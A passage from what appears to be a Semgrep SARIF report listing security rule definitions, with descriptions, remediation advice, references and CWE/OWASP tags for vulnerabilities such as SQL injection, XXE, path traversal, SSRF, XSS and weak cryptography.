Also, consider using an object-relational (ORM) framework to operate with safer abstractions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.hyper.sql.sqlx-taint.sqlx-taint)\n - [https://docs.rs/sqlx/latest/sqlx/](https://docs.rs/sqlx/latest/sqlx/)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"helpUri":"https://semgrep.dev/r/rust.hyper.sql.sqlx-taint.sqlx-taint","id":"rust.hyper.sql.sqlx-taint.sqlx-taint","name":"rust.hyper.sql.sqlx-taint.sqlx-taint","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: rust.hyper.sql.sqlx-taint.sqlx-taint"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Make sure that unverified user data can not reach the XML Parser, as it can result in XML External or Internal Entity (XXE) Processing vulnerabilities"},"help":{"markdown":"Make sure that unverified user data can not reach the XML Parser, as it can result in XML External or Internal Entity (XXE) Processing vulnerabilities\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.express-xml2json-xxe.express-xml2json-xxe)\n - [https://www.npmjs.com/package/xml2json](https://www.npmjs.com/package/xml2json)\n","text":"Make sure that unverified user data can not reach the XML Parser, as it can result in XML External or Internal Entity (XXE) Processing vulnerabilities"},"helpUri":"https://semgrep.dev/r/javascript.express.security.express-xml2json-xxe.express-xml2json-xxe","id":"javascript.express.security.express-xml2json-xxe.express-xml2json-xxe","name":"javascript.express.security.express-xml2json-xxe.express-xml2json-xxe","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.express-xml2json-xxe.express-xml2json-xxe"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.secrets.gorm.gorm-empty-password.gorm-empty-password)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/go.secrets.gorm.gorm-empty-password.gorm-empty-password","id":"go.secrets.gorm.gorm-empty-password.gorm-empty-password","name":"go.secrets.gorm.gorm-empty-password.gorm-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: go.secrets.gorm.gorm-empty-password.gorm-empty-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Found a formatted template string passed to 'template.JS()'. 'template.JS()' does not escape contents. Be absolutely sure there is no user-controlled data in this template."},"help":{"markdown":"Found a formatted template string passed to 'template.JS()'. 'template.JS()' does not escape contents. Be absolutely sure there is no user-controlled data in this template.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.net.unescaped-data-in-js.unescaped-data-in-js)\n - [https://golang.org/pkg/html/template/#JS](https://golang.org/pkg/html/template/#JS)\n","text":"Found a formatted template string passed to 'template.JS()'. 'template.JS()' does not escape contents. Be absolutely sure there is no user-controlled data in this template."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.net.unescaped-data-in-js.unescaped-data-in-js","id":"go.lang.security.audit.net.unescaped-data-in-js.unescaped-data-in-js","name":"go.lang.security.audit.net.unescaped-data-in-js.unescaped-data-in-js","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.net.unescaped-data-in-js.unescaped-data-in-js"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.file.tainted-pickleshare-django.tainted-pickleshare-django)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n - [https://www.stackhawk.com/blog/django-path-traversal-guide-examples-and-prevention/](https://www.stackhawk.com/blog/django-path-traversal-guide-examples-and-prevention/)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"helpUri":"https://semgrep.dev/r/python.django.file.tainted-pickleshare-django.tainted-pickleshare-django","id":"python.django.file.tainted-pickleshare-django.tainted-pickleshare-django","name":"python.django.file.tainted-pickleshare-django.tainted-pickleshare-django","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.file.tainted-pickleshare-django.tainted-pickleshare-django"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"You are using an insecure random number generator (RNG) to create a cryptographic key. System.Random must never be used for cryptographic purposes. Use System.Security.Cryptography.RandomNumberGenerator instead."},"help":{"markdown":"You are using an insecure random number generator (RNG) to create a cryptographic key. System.Random must never be used for cryptographic purposes. Use System.Security.Cryptography.RandomNumberGenerator instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.dotnet.security.use_weak_rng_for_keygeneration.use_weak_rng_for_keygeneration)\n - [https://learn.microsoft.com/en-us/dotnet/api/system.random?view=net-6.0#remarks](https://learn.microsoft.com/en-us/dotnet/api/system.random?view=net-6.0#remarks)\n - [https://learn.microsoft.com/en-us/dotnet/api/system.security.cryptography.randomnumbergenerator?view=net-6.0](https://learn.microsoft.com/en-us/dotnet/api/system.security.cryptography.randomnumbergenerator?view=net-6.0)\n - [https://learn.microsoft.com/en-us/dotnet/api/system.security.cryptography.aesgcm?view=net-6.0#constructors](https://learn.microsoft.com/en-us/dotnet/api/system.security.cryptography.aesgcm?view=net-6.0#constructors)\n - [https://learn.microsoft.com/en-us/dotnet/api/system.security.cryptography.symmetricalgorithm.key?view=net-6.0#system-security-cryptography-symmetricalgorithm-key](https://learn.microsoft.com/en-us/dotnet/api/system.security.cryptography.symmetricalgorithm.key?view=net-6.0#system-security-cryptography-symmetricalgorithm-key)\n","text":"You are using an insecure random number generator (RNG) to create a cryptographic key. System.Random must never be used for cryptographic purposes. Use System.Security.Cryptography.RandomNumberGenerator instead."},"helpUri":"https://semgrep.dev/r/csharp.dotnet.security.use_weak_rng_for_keygeneration.use_weak_rng_for_keygeneration","id":"csharp.dotnet.security.use_weak_rng_for_keygeneration.use_weak_rng_for_keygeneration","name":"csharp.dotnet.security.use_weak_rng_for_keygeneration.use_weak_rng_for_keygeneration","properties":{"precision":"very-high","tags":["CWE-338: Use of Cryptographically Weak Pseudo-Random Number Generator (PRNG)","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.dotnet.security.use_weak_rng_for_keygeneration.use_weak_rng_for_keygeneration"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The string returned from `std::string_view.data()` is not guaranteed to be NULL terminated. This expression expects a NULL terminated string and will trigger an out-of-bounds read."},"help":{"markdown":"The string returned from `std::string_view.data()` is not guaranteed to be NULL terminated. This expression expects a NULL terminated string and will trigger an out-of-bounds read.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.strings.string-view-data-null-terminator.string-view-data-null-terminator)\n - [https://wiki.sei.cmu.edu/confluence/display/c/STR32-C.+Do+not+pass+a+non-null-terminated+character+sequence+to+a+library+function+that+expects+a+string](https://wiki.sei.cmu.edu/confluence/display/c/STR32-C.+Do+not+pass+a+non-null-terminated+character+sequence+to+a+library+function+that+expects+a+string)\n","text":"The string returned from `std::string_view.data()` is not guaranteed to be NULL terminated. This expression expects a NULL terminated string and will trigger an out-of-bounds read."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.strings.string-view-data-null-terminator.string-view-data-null-terminator","id":"cpp.lang.security.strings.string-view-data-null-terminator.string-view-data-null-terminator","name":"cpp.lang.security.strings.string-view-data-null-terminator.string-view-data-null-terminator","properties":{"precision":"very-high","tags":["CWE-125: Out-of-bounds Read","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.strings.string-view-data-null-terminator.string-view-data-null-terminator"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)` `$FACTORY.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)` `$PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)` `$FACTORY.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)` `$PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.xxe.saxparserfactory-xxe.saxparserfactory-xxe)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/semgrep/java-xxe-research](https://github.com/semgrep/java-xxe-research)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)` `$FACTORY.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)` `$PARSER.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.lang.security.xxe.saxparserfactory-xxe.saxparserfactory-xxe","id":"java.lang.security.xxe.saxparserfactory-xxe.saxparserfactory-xxe","name":"java.lang.security.xxe.saxparserfactory-xxe.saxparserfactory-xxe","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.xxe.saxparserfactory-xxe.saxparserfactory-xxe"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.mysql2.ruby-mysql2-empty-password.ruby-mysql2-empty-password)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/ruby.mysql2.ruby-mysql2-empty-password.ruby-mysql2-empty-password","id":"ruby.mysql2.ruby-mysql2-empty-password.ruby-mysql2-empty-password","name":"ruby.mysql2.ruby-mysql2-empty-password.ruby-mysql2-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.mysql2.ruby-mysql2-empty-password.ruby-mysql2-empty-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The following request $REQUEST.$METHOD() was found to be crafted from user-input `$REQ` which can lead to Server-Side Request Forgery (SSRF) vulnerabilities. It is recommended where possible to not allow user-input to craft the base request, but to be treated as part of the path or query parameter. When user-input is necessary to craft the request, it is recommeneded to follow OWASP best practices to prevent abuse. "},"help":{"markdown":"The following request $REQUEST.$METHOD() was found to be crafted from user-input `$REQ` which can lead to Server-Side Request Forgery (SSRF) vulnerabilities. It is recommended where possible to not allow user-input to craft the base request, but to be treated as part of the path or query parameter. When user-input is necessary to craft the request, it is recommeneded to follow OWASP best practices to prevent abuse. \n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.audit.express-ssrf.express-ssrf)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html)\n","text":"The following request $REQUEST.$METHOD() was found to be crafted from user-input `$REQ` which can lead to Server-Side Request Forgery (SSRF) vulnerabilities. It is recommended where possible to not allow user-input to craft the base request, but to be treated as part of the path or query parameter. When user-input is necessary to craft the request, it is recommeneded to follow OWASP best practices to prevent abuse. "},"helpUri":"https://semgrep.dev/r/javascript.express.security.audit.express-ssrf.express-ssrf","id":"javascript.express.security.audit.express-ssrf.express-ssrf","name":"javascript.express.security.audit.express-ssrf.express-ssrf","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.audit.express-ssrf.express-ssrf"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"A formatted or concatenated string was detected as input to a java.lang.Runtime call. This is dangerous if a variable is controlled by user input and could result in a command injection. Ensure your variables are not controlled by users or sufficiently sanitized."},"help":{"markdown":"A formatted or concatenated string was detected as input to a java.lang.Runtime call. This is dangerous if a variable is controlled by user input and could result in a command injection. Ensure your variables are not controlled by users or sufficiently sanitized.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.command-injection-formatted-runtime-call.command-injection-formatted-runtime-call)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"A formatted or concatenated string was detected as input to a java.lang.Runtime call. This is dangerous if a variable is controlled by user input and could result in a command injection. Ensure your variables are not controlled by users or sufficiently sanitized."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.command-injection-formatted-runtime-call.command-injection-formatted-runtime-call","id":"java.lang.security.audit.command-injection-formatted-runtime-call.command-injection-formatted-runtime-call","name":"java.lang.security.audit.command-injection-formatted-runtime-call.command-injection-formatted-runtime-call","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.command-injection-formatted-runtime-call.command-injection-formatted-runtime-call"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"setMultipleAllowances() is missing onlyOwner modifier"},"help":{"markdown":"setMultipleAllowances() is missing onlyOwner modifier\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/solidity.security.rigoblock-missing-access-control.rigoblock-missing-access-control)\n - [https://twitter.com/danielvf/status/1494317265835147272](https://twitter.com/danielvf/status/1494317265835147272)\n - [https://etherscan.io/address/0x876b9ebd725d1fa0b879fcee12560a6453b51dc8](https://etherscan.io/address/0x876b9ebd725d1fa0b879fcee12560a6453b51dc8)\n - [https://play.secdim.com/game/dapp/challenge/rigoownsol](https://play.secdim.com/game/dapp/challenge/rigoownsol)\n","text":"setMultipleAllowances() is missing onlyOwner modifier"},"helpUri":"https://semgrep.dev/r/solidity.security.rigoblock-missing-access-control.rigoblock-missing-access-control","id":"solidity.security.rigoblock-missing-access-control.rigoblock-missing-access-control","name":"solidity.security.rigoblock-missing-access-control.rigoblock-missing-access-control","properties":{"precision":"very-high","tags":["CWE-284: Improper Access Control","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: solidity.security.rigoblock-missing-access-control.rigoblock-missing-access-control"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Found request data in a call to 'open'. Ensure the request data is validated or sanitized, otherwise it could result in path traversal attacks and therefore sensitive data being leaked. To mitigate, consider using os.path.abspath or os.path.realpath or the pathlib library."},"help":{"markdown":"Found request data in a call to 'open'. Ensure the request data is validated or sanitized, otherwise it could result in path traversal attacks and therefore sensitive data being leaked. To mitigate, consider using os.path.abspath or os.path.realpath or the pathlib library.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.injection.path-traversal.path-traversal-open.path-traversal-open)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n","text":"Found request data in a call to 'open'. Ensure the request data is validated or sanitized, otherwise it could result in path traversal attacks and therefore sensitive data being leaked. To mitigate, consider using os.path.abspath or os.path.realpath or the pathlib library."},"helpUri":"https://semgrep.dev/r/python.django.security.injection.path-traversal.path-traversal-open.path-traversal-open","id":"python.django.security.injection.path-traversal.path-traversal-open.path-traversal-open","name":"python.django.security.injection.path-traversal.path-traversal-open.path-traversal-open","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.injection.path-traversal.path-traversal-open.path-traversal-open"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate URLs and their protocol before using them in your codebase."},"help":{"markdown":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate URLs and their protocol before using them in your codebase.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/typescript.react.react-href-url.react-href-url)\n - [https://github.com/segmentio/ui-box/blob/master/src/utils/safeHref.ts](https://github.com/segmentio/ui-box/blob/master/src/utils/safeHref.ts)\n","text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate URLs and their protocol before using them in your codebase."},"helpUri":"https://semgrep.dev/r/typescript.react.react-href-url.react-href-url","id":"typescript.react.react-href-url.react-href-url","name":"typescript.react.react-href-url.react-href-url","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: typescript.react.react-href-url.react-href-url"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Checks for requests to http (unencrypted) sites using gorequest, a popular HTTP client library. This is dangerous because it could result in plaintext PII being passed around the network."},"help":{"markdown":"Checks for requests to http (unencrypted) sites using gorequest, a popular HTTP client library. This is dangerous because it could result in plaintext PII being passed around the network.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/problem-based-packs.insecure-transport.go-stdlib.sling-http-request.sling-http-request)\n - [https://godoc.org/github.com/dghubble/sling#Sling.Add](https://godoc.org/github.com/dghubble/sling#Sling.Add)\n - [https://github.com/dghubble/sling](https://github.com/dghubble/sling)\n","text":"Checks for requests to http (unencrypted) sites using gorequest, a popular HTTP client library. This is dangerous because it could result in plaintext PII being passed around the network."},"helpUri":"https://semgrep.dev/r/problem-based-packs.insecure-transport.go-stdlib.sling-http-request.sling-http-request","id":"problem-based-packs.insecure-transport.go-stdlib.sling-http-request.sling-http-request","name":"problem-based-packs.insecure-transport.go-stdlib.sling-http-request.sling-http-request","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","MEDIUM CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: problem-based-packs.insecure-transport.go-stdlib.sling-http-request.sling-http-request"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In Flask apps, consider using the Werkzeug util `werkzeug.utils.secure_filename()` to sanitize paths and filenames."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In Flask apps, consider using the Werkzeug util `werkzeug.utils.secure_filename()` to sanitize paths and filenames.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.file.tainted-path-traversal-aiofile-flask.tainted-path-traversal-aiofile-flask)\n - [https://flask.palletsprojects.com/en/2.3.x/patterns/fileuploads/](https://flask.palletsprojects.com/en/2.3.x/patterns/fileuploads/)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n - [https://werkzeug.palletsprojects.com/en/3.0.x/utils/#werkzeug.utils.secure_filename](https://werkzeug.palletsprojects.com/en/3.0.x/utils/#werkzeug.utils.secure_filename)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In Flask apps, consider using the Werkzeug util `werkzeug.utils.secure_filename()` to sanitize paths and filenames."},"helpUri":"https://semgrep.dev/r/python.flask.file.tainted-path-traversal-aiofile-flask.tainted-path-traversal-aiofile-flask","id":"python.flask.file.tainted-path-traversal-aiofile-flask.tainted-path-traversal-aiofile-flask","name":"python.flask.file.tainted-path-traversal-aiofile-flask.tainted-path-traversal-aiofile-flask","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.file.tainted-path-traversal-aiofile-flask.tainted-path-traversal-aiofile-flask"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Found an insecure gRPC connection using 'insecure.NewCredentials()'. This creates a connection without encryption to a gRPC server. A malicious attacker could tamper with the gRPC message, which could compromise the machine. Instead, establish a secure connection with an SSL certificate using the 'grpc.WithTransportCredentials()' function. You can create a create credentials using a 'tls.Config{}' struct with 'credentials.NewTLS()'. The final fix looks like this: 'grpc.WithTransportCredentials(credentials.NewTLS(<config>))'."},"help":{"markdown":"Found an insecure gRPC connection using 'insecure.NewCredentials()'. This creates a connection without encryption to a gRPC server. A malicious attacker could tamper with the gRPC message, which could compromise the machine. Instead, establish a secure connection with an SSL certificate using the 'grpc.WithTransportCredentials()' function. You can create a create credentials using a 'tls.Config{}' struct with 'credentials.NewTLS()'. The final fix looks like this: 'grpc.WithTransportCredentials(credentials.NewTLS(<config>))'.\n\n<b>References:</b>\n - [Semgrep 